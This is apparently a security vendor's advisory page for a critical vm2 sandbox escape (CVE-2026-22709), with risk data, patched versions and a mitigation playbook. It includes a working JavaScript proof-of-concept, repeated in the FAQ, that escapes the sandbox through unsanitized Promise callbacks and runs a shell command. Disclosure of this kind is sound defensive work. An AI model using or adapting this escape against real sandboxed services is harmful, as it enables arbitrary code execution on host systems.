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📦 npm

GHSA-99p7-6v5w-7xg8

CRITICAL

vm2 has a Sandbox Escape

Also known asCVE-2026-22709
Published
Jan 26, 2026
Updated
Feb 3, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
1.2%probability of exploitation in next 30 days
Lower Risk65th percentile+1.17%
0.00%0.57%1.15%1.72%0.1%1.2%Feb 26May 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected

Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.

vm2npm
1.5Mdownloads / week

Description

In vm2 for version 3.10.0, Promise.prototype.then Promise.prototype.catch callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code.

const { VM } = require("vm2");

const code = `
const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
const promise = f();
promise.catch(e => {
    const Error = e.constructor;
    const Function = Error.constructor;
    const f = new Function(
        "process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })"
    );
    f();
});
`;

new VM().run(code);

In lib/setup-sandbox.js, the callback function of localPromise.prototype.then is sanitized, but globalPromise.prototype.then is not sanitized. The return value of async functions is globalPromise object.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmvm2all versions3.10.2

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vm2. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update vm2 to 3.10.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-99p7-6v5w-7xg8 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-99p7-6v5w-7xg8 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-99p7-6v5w-7xg8. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

In vm2 for version 3.10.0, `Promise.prototype.then` `Promise.prototype.catch` callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code. ```js const { VM } = require("vm2"); const code = ` const error = new Error(); error.name = Symbol(); const f = async () => error.stack; const promise = f(); promise.catch(e => { const Error = e.constructor; const Function = Error.constructor; const f = new Function( "process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })" ); f(); }); `; new
O3 Security · Impact-Aware SCA

Is GHSA-99p7-6v5w-7xg8 in your dependencies?

O3 detects GHSA-99p7-6v5w-7xg8 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.